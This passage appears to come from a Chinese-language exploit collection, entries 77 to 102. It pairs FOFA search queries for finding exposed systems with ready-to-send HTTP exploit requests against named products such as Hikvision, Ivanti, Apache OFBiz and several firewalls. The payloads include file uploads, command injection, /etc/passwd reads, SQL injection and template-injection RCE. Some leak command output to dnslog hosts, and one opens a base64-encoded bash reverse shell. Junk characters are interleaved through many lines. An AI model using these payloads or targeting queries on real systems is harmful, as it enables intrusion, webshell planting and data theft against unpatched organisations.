! [$ `; ^1 q% }4 l"command": "GetFZinfo",
) y% A4 {0 i$ u  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
/ C- l7 V: Q1 g7 [$ h}
5 j* G; Y$ T+ c7 j6 s3 Z
3 g- F0 g. W9 `. |" F6 D  K% o
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
4 ]. b; Q) j3 {# |* u
% I( r+ C1 d, ^! }3 M6 p
* ]! u& M, }  T! l' O) V0 y* v: h3 [
( Q  c+ D4 b% X3 V8 t4 q, V77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
9 @) }: X3 W& S- CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 k2 U# H! V' i7 u$ sConnection: close
, t9 P# S8 a$ h: cContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 @, H# S& X( d0 C' Z& c) z* U  VContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
, L. h  Y4 R8 N6 Z+ V6 p- F+ M
------------398jnjVTTlDVXHlE7yYnfwBoix
) E: d! J% {6 E- W7 c2 l, JContent-Disposition: form-data; name="folder"

& H. N9 ^- z: t$ E/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
: a1 F, @+ G( \! h! QContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
0 Y/ J' A2 s, N9 ~Content-Type: application/octet-stream

hello1234567
+ ~2 j4 T2 K5 k- d: Y7 d6 B; k( q------------398jnjVTTlDVXHlE7yYnfwBoix
( b$ H9 ^9 k0 B' @Content-Disposition: form-data; name="Upload"

Submit Query
, O8 D; Y6 l: p4 F6 h------------398jnjVTTlDVXHlE7yYnfwBoix--
) U* X$ g8 `$ ]( ?. {
2 v+ \" v! `# w; L) y8 h5 F
2 R. D" @( q  T# @4 \! K3 I. u78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

( C. X3 s( M5 `& Q0 D6 {------YsOxWxSvj1KyZow1PTsh98fdu6l
% }; I  P- B  ~( b/ P' Q6 OContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
1 S$ U5 Z) N$ C1 F& L2 mContent-Type: image/png
6 j* y1 y& R7 ?) `& j
0 c9 q+ a0 M) T+ X( E, G& ^YsOxWxSvj1KyZow1PTsh98fdu6l
" f' ?' f& Y, \9 k! M7 _------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
( t$ ~' D2 O7 C  ]  k
! S5 b. i( y5 {* o, k6 ?/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

1 _3 @8 [' [: J8 g2 P* `* f8 D
' p8 e/ K4 C" f4 j" o0 \GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
1 Z) A9 ~2 b2 u' {$ A9 o" o

79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
* G; q' D5 s+ j" Z( \' T  NGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
. w4 t5 f# Z/ d5 A+ g. L# pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
0 X9 h" ~0 N6 o/ S6 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" v. s" F' F  a7 n: B9 x* N8 t* H8 v: I: aAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
4 }$ E! l& F; y9 X& B* c

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
  p; s( j# `8 t3 U4 y) iPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
7 s; G0 o3 c9 `$ ^& XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# W! O: {+ X% a/ K+ m: ]Content-Length: 27
+ |, v% ?' s# V7 G4 r+ U8 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 |6 L. r) j0 ^* p: U( x9 hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 P' p' K' P3 v5 }Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
4 S/ N' o: I2 r+ b7 ^
<% out.print("oessqeonylzaf");%>
0 {# n& b! z8 S8 M: H

GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ ~# U/ g5 \* s0 B# e; iAccept-Encoding: gzip
6 X. J  N" p' @
5 V2 p' K5 o) n( }2 m/ H
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
% h' w- u  [' \$ rFOFA：app="uniview-视频监控"
# a) f# ]% c0 {8 z% XGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
& q+ T$ L2 Y: V+ a- `3 A! wHost: x.x.x.x
5 k2 ]$ b& c8 a/ a, {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 m+ A8 X$ F) D" L1 F  N7 i8 t5 UConnection: close
Accept-Encoding: gzip
5 [5 H) e0 U: \9 g, K3 F$ m

# A& a" f. N% d; K# `) V* X82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
. ~5 h, J8 L8 |5 k! s4 VHost: BaseURL
  c' q" O2 e) ?0 f9 c! ?User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
! @+ h* `) O, |Connection: close
- S5 [- v) D5 X: T2 |+ UContent-Type: application/x-www-form-urlencoded
( V0 |5 k% |+ [2 K& d5 fReferer: BaseURL
$ }# D& |! \* j) m9 V
6 }1 j$ F: `1 j3 Sz1=1&z2="|id;"&z3=bhost

* J* m2 W8 a7 K4 L+ J8 C( i
% _; l. K# A& W83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


# Z$ k: ]4 z, Y$ S- lPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 n, }2 {; b1 H$ ]6 a* mConnection: close
- f# n: q- W% N6 lContent-Length: 8881
Accept-Encoding: gzip
) x) m7 i! Y  V" }! s, p  tCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
7 o7 \7 \( c9 D, O6 r# F
PAYLOAD

" ?! p: W) @) i/ b84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

3 L% u: J1 i/ [; ^- ^# ?6 @. \. t

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
2 {! ^2 Q3 c$ @: Z7 k! ]Content-Length: 156
0 x) P4 [! L4 n+ _Accept: */*
Connection: close
Content-Type: application/json
6 ^* S9 [; b, Y/ {Accept-Encoding: gzip
) }: y9 @0 V; ~. W6 n7 ^5 d
+ Y9 d0 [7 _1 g, J{
% l# N4 X3 o4 `# j' A% H% p8 B/ N "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
3 B% `- {! R) |9 `& d

" p) [( e7 Z/ J  x5 m8 w5 |85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
) f2 b$ o$ l$ p' IFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
4 M2 D: J- \4 X$ b( J* FHost: x.x.x.x
7 o# ]5 N# V# g! I  I, XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. a: t! Q' W5 |- K1 c+ qContent-Type: application/octet-stream
Accept-Encoding: gzip

5 F3 F1 l$ E6 a" R) c$ q, R) t3 gPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
4 K4 }# c. K0 L8 @- EFOFA：body="tosei_login_check.php"
1 g* _' M8 C( q# k# R) x) i: iPOST /cgi-bin/network_test.php HTTP/1.1
$ i! b4 }& M& t1 J1 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
# U' S0 i6 _+ A( mConnection: close
8 ^7 ~4 v# }7 k' W/ V3 c1 k  \Content-Length: 44
! K: v3 Z# y& J. AAccept: */*
Accept-Encoding: gzip
Accept-Language: en
" x$ Z' V( ]3 s# V' t; S+ hContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

4 l5 }/ |$ Y( q. \1 S
* j1 e5 I' }# K' O" c: R' s87. 安恒明御安全网关aaa_local_web_preview文件上传
; a  b1 z/ x8 K9 _7 I+ UFOFA：title="明御安全网关"
; I& G, C, v. l" a0 v; Z; X, XPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
+ `" @8 Q* c0 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ ~) w$ r0 }2 Y. H7 n. yConnection: close
Content-Length: 198
/ L7 T7 ?1 y! C9 K! ~# V9 h# XAccept-Encoding: gzip
% T5 c8 B* O( zContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

. e4 P& R1 U- Y  [- ?  _( a--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

; L; [  V$ j5 Z; _/ ?& l7 i2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
1 m+ M! G3 X+ w- U0 {+ }
! v8 b$ M  W  b& P& I$ M: i/ H% X6 U
/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
9 X4 M4 R/ _% ^- B" i" RFOFA：title="明御安全网关"
9 E2 g- {& _. VGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
% ^5 t1 i6 V  o& E. n, ?Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 M" s# f% T  \, d8 R6 g- f! dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) d) n9 y' x# r6 OAccept-Encoding: gzip, deflate
8 n5 E3 L9 a; Z. S, bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( e  |2 |, F. x, x6 jConnection: close


/ G( D  a" ^7 y, F/astdfkhl.php
$ U% D( P# x8 o$ H* h
89. 致远互联FE协作办公平台editflow_manager存在sql注入
8 h# X4 o; R4 JFOFA：title="FE协作办公平台" || body="li_plugins_download"
9 D  R# l5 C8 d; r7 {) b+ C# X& vPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
- r/ H/ k4 Z4 h8 d1 F4 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* r+ g* \& {0 U4 D% ]Connection: close
& H  N" s6 F+ j8 MContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
1 w$ g* z6 n" k8 k  y- V
option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
9 l' x! K" K) b5 L! sFOFA：icon_hash="-1830859634"
8 u0 q' x% I- v7 IPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
1 w" l7 s$ o3 ]5 b- z2 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
1 `6 Q9 [8 H& p7 z( QContent-Length: 51
" V) m4 [1 `! B+ S5 b0 Z. gAccept: application/json, text/javascript, */*; q=0.01
. T4 l: {: Z' _' Y  rAccept-Encoding: gzip, deflate
7 V7 L0 s! y4 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
" T9 x4 m& q2 l+ n) d) K; f1 c1 ?Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
& ]/ \% r. _2 N* X# k1 ?
9 r8 w' E4 l: h, H, V" R1 G# rjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

1 w' _5 V* A& v6 ?
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
+ c6 {5 X% u- P1 J: b& uGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


' P5 U5 p# i7 D) Y, L1 _
92. 海康威视运行管理中心session命令执行
3 h. b7 I* M- ^# H# D' D( z' H  jFastjson命令执行
$ _7 k! c( z" e7 J6 G$ X6 Y% @" Nhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
* B2 U5 F3 W7 y  r. i. U2 uAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
, j; K( I$ _5 }' P  N# ~' DContent-Type: application/json;charset=UTF-8
- t) t" [% ]" l. [X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
( G- v2 ]4 f/ fAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

  F( j% q$ Y) h. j$ ZPAYLOAD
5 A* R" M0 R) l. d7 _! Z' D$ i% l

4 a/ [" h( i* k93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
% C* }) B3 |  v6 Y2 ^6 UPOST /?g=app_av_import_save HTTP/1.1
6 I) a4 k2 a! R+ z7 r- V; |Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
: w& ^$ d- \% f, WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 v0 e) q( I4 I7 V" P. o* E3 @
------WebKitFormBoundarykcbkgdfx
9 w$ T- q7 [) r$ [+ Q5 vContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
) V1 X9 a0 G* Q) S1 G9 H6 l( i. H------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
( Y/ l: J! ]% g. b
5 A' d& @# X" B& V8 T4 c# d: u1 c- uwagletqrkwrddkthtulxsqrphulnknxa
# ?. a1 u  k2 f( m. Y------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
4 p- v8 d  E* D% U) U8 C
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
' N2 m% b4 {9 J, |5 R  c

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
* L/ ^+ r3 G6 a7 i0 _7 fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


: K6 R$ L! L2 _7 y7 }3 ~94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
3 t) z# j' W2 |: ^7 R: W- W/ nPOST /?g=obj_area_import_save HTTP/1.1
7 z. e  V" ?2 t0 t/ q8 k* G4 BHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
* X1 J6 \+ _, [% T3 Z/ J
: r/ f) f6 t! p% D* e( a" w------WebKitFormBoundarybqvzqvmt
, ?6 r* e( ^! p' eContent-Disposition: form-data; name="MAX_FILE_SIZE"
# ~; L. }1 ?2 @  d4 k* m! ~4 X
10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
+ H* k! |& w' d4 ~$ h& WContent-Type: text/plain

, D; |2 w3 Y- b/ u, g# K; t+ ?pxplitttsrjnyoafavcajwkvhxindhmu
8 ?. j* [* U: ]" I% m------WebKitFormBoundarybqvzqvmt
! k" ^3 M; o6 SContent-Disposition: form-data; name="submit_post"

obj_app_upfile
8 }) P3 D7 }' {( l; x------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
" Y$ k, f( t4 j- p4 H- _
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

' s. s! Z- h4 @

: P; [# h& L4 yGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

1 u" E/ C6 C% X  j0 a/ f

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
1 n3 [0 @; F5 @' h. }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
, Y! }3 n& P6 C4 g8 S9 {Content-Type: application/xml
+ M0 H* u9 g- ]* \1 hAccept-Encoding: gzip
7 l5 R9 w5 m9 w4 z$ B! x
4 y% k2 o# J! n( d<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
6 H0 k" s0 X/ E( ^      <param>
$ ~, ?4 `! y/ [$ G      <value>
2 u$ L7 n7 c6 L  O7 A2 C, g        <struct>
2 w* x( }6 h. z: \8 \. s       <member>
) `( x" X6 g. t4 i  H' O          <name>test</name>
) F* s+ Q, ^+ ?          <value>
! g# @( f1 _* x$ B+ D! x8 g6 M      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
! E5 `" u: \+ s# c3 s! ]- b6 h          </value>
        </member>
      </struct>
      </value>
    </param>
$ ]7 L" \1 x2 @, S! b+ B/ }; |    </params>
</methodCall>
! t" B2 C) [! J" f' Y
4 U- h; E+ c; Z& Y3 j" f# [' {( @
用ysoserial生成payload
: R! `* l0 S8 H* x) h' D- vjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
$ @, \! R# g1 e8 E" v( ~
. B( @6 ?: K! ]/ H2 y  R; {
  V/ e# N, p  w6 L将生成的payload替换到上面的POC
9 S% v6 K+ `9 L0 RPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
& h+ r3 Y8 L: r* L: B3 {7 b# Y8 ?Host: 192.168.40.130:8443
& C* X; @, s" ?- j4 [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
2 ^( A( q/ V; n+ W; p" A7 O- d" TContent-Length: 889
Content-Type: application/xml
: K  T5 {( k- [( {) p7 XAccept-Encoding: gzip

% P& u9 l  P3 v6 v& ZPAYLOAD
$ ]/ V; u. I: a7 K( F) ]1 u
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ \1 K9 x1 D- l( X' D  |. }% lAccept: */*
! P. e! Y7 F8 x7 g3 w0 S  VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 r, x0 v) ~8 W9 {" gContent-Type: application/x-www-form-urlencoded
Content-Length: 55
3 ^' V2 E7 z' b4 c) I
5 r( h; e  M3 [$ U9 ~5 F3 GgroovyProgram=throw+new+Exception('id'.execute().text);
1 m1 t* F! Q  H/ E5 A; V. \

1 i, p6 S5 s& i0 v7 O反弹shell
6 |- _$ l& B' v& y在kali上启动一个监听
nc -lvp 7777

3 P& R5 }3 j8 M% W- zPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# m. V( G! M- e9 xAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 ?' t- o  G2 C" m% lContent-Type: application/x-www-form-urlencoded
) |/ y$ U- C, E0 y- o' V% WContent-Length: 71

/ F) n$ o9 m9 t; `1 B) agroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
) g0 X4 E% ~% z& t7 u9 M
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
1 N. N/ U7 P- O+ W' |1 l2 a- \) J$ ]FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
9 s8 O& O( c3 }8 v- k4 l2 r) qGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
) ^5 n& ]& Y' L& ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 w3 @- D$ K: J! r5 c, \9 T( P0 GAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
6 L" T2 g! j0 o7 OX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
: E# x& [/ e/ ]& `% w. A' [: T

98. SpiderFlow爬虫平台远程命令执行
4 o' ~. S8 e& s3 Q4 p7 |# nCVE-2024-0195
: `. w3 O: g# b9 R! B. j6 q* P* [FOFA：app="SpiderFlow"
* w  j5 E# j0 lPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) [5 u, {, Q8 B# q3 k3 RConnection: close
2 E! n$ a8 a2 M+ k- _+ M* V' [Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
% U6 W( o( ]3 V$ A& \. I) vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) [, T$ t2 k1 R! `9 r1 HContent-Type: application/x-www-form-urlencoded; charset=UTF-8
( b. M/ `* \. K2 VX-Requested-With: XMLHttpRequest
1 S. j$ n* B$ r% q
- S3 X& G0 J5 b; Zid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
+ Y( Z; ~3 L' _8 _$ q  f' X1 w9 D
( X* H/ ?, p7 \$ K% ~& w/ l
99. Ncast盈可视高清智能录播系统busiFacade RCE
' Y; W. B% g0 V+ {$ j% U1 iCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
* ~7 o: I2 Y& A! W' f) J0 ~' t2 _Host: 192.168.40.130:8080
9 ~+ l* [$ i; l3 B/ i8 t) G; f# sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% m: S& o1 ~3 E9 p3 `Connection: close
1 L8 w7 [4 c( ZContent-Length: 154
Accept: */*
% a( O5 a6 [1 y& i7 K) s& n; bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
9 J- Q: Z1 W4 ?0 @$ H/ i
8 p& q, u) a# T" O, W; ?4 X4 W%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
/ N- u+ B$ X* }9 ~- ACVE-2024-0352
8 q. C3 W2 c% s& [( vFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
' |7 c6 c) l) D$ y6 R1 d( z4 R6 gUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
: Y- g: U3 V  Y" h3 {* dContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

6 N: W; s4 J4 k: s9 s! Z------WebKitFormBoundarygcflwtei
4 I1 j3 n  \4 U/ g- _- uContent-Disposition: form-data; name="file";filename="IE4MGP.php"
/ |2 r) w/ S; n8 m* gContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


* }) J% d, I0 z) x3 }. S: ~101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
- o( V' w; O* I; rGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
8 o9 I& r- j9 g" n. f7 P; ?Accept-Encoding: gzip


$ y) D0 e, m& J102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
/ M' S8 O1 i" R$ \FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
( ^, S9 o1 Q. J) [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

